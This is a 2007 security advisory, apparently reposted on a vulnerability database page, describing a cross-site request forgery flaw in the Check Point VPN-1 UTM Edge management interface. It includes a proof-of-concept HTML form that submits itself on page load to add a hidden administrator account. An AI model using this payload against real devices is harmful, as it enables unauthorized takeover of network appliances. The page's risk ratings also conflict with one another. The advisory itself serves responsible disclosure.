CheckPoint VPN-1 UTM Edge Cross Site Request Forgery vulnerability

Risk: Low
Local: Yes
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Louhi Networks Oy -= Security Advisory =- Advisory: Checkpoint VPN-1 UTM Edge Cross Site Request Forgery Release Date: 2007/06/26 Last Modified: 2007/06/26 Authors: Henri Lindberg, Associate of (ISC)&#178; [henri.lindberg (at) louhi (dot) fi [email concealed]] Jussi Vuokko, CISSP [jussi.vuokko (at) louhi (dot) fi [email concealed]] Application: Checkpoint VPN-1 Edge X Embedded NGX 7.0.33x (Other versions of the same software might be affected.) Devices: Checkpoint VPN-1 UTM Edge Severity: Cross site request forgery in management interface Risk: Moderate Vendor Status: Vendor has released an updated version References: Overview: Quote from "VPN-1 UTM Edge appliances deliver unified threat management to enterprises with branch offices and simplify security deployments and manageability. VPN-1 UTM Edge appliances consolidate proven enterprise-class technology into a single branch office solution that does not compromise the corporate network and eliminates the branch office as your weakest link. As part of Check Point's Unified Security Architecture, VPN-1 UTM Edge can enforce a global security policy and allows administrators to manage and update thousands of appliances as easily as managing one." During an audit of VPN-1 UTM Edge it was discovered that a cross site request forgery vulnerability exists in the management interface. Thus, it is possible for an attacker to perform any administrative actions in the management interface. These include e.g. adding additional admin users. Details: Checkpoint VPN-1 Edge Embedded device management interface does not validate the origin of an HTTP request. If attacker is able to make user visit a hostile web page, a VPN-1 Edge device can be controlled by submitting suitable forms. It is possible to add new users for example. Successful attack requires that the attacker knows the management interface address for the target device. As the management interface does not have logout functionality, user can be vulnerable to this attack even after closing a tab containing the management interface (if user does not close the browser window or clear cookies and depending on browser behaviour). Proof of Concept: Example form (adds new read-only administrator): <html> <body onload="document.CSRF.submit()"> <form name="CSRF" method="post" action=" "style="display:none"> <input name="swstate" value="WizU1"> <input name="swtosave" value="1"> <input name="swback" value="0"> <input name="swindex" value="-1"> <input name="swuuser" value="evil-user"> <input name="swupass" value="password"> <input name="swuexp" value="0"> <input name="swuday" value="4"> <input name="swumonth" value="5"> <input name="swuyear" value="2008"> <input name="swuhour" value="03"> <input name="swumin" value="11"> <input name="swuampm" value="1"> <input name="swuacc" value="1"> <input name="swuvpn" value="0"> <input name="swuufp" value="0"> <input name="swuhot" value="0"> <input name="tacc" value="1"> </form> </body> </html> Workaround: Update to new version. More information Disclosure Timeline: 7. June 2007 - Contacted Checkpoint by email 26. June 2007 - Vendor released an updated version 26. June 2007 - Advisory was released Copyright 2007 Louhi Networks Oy. All rights reserved.

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024,


Back to Top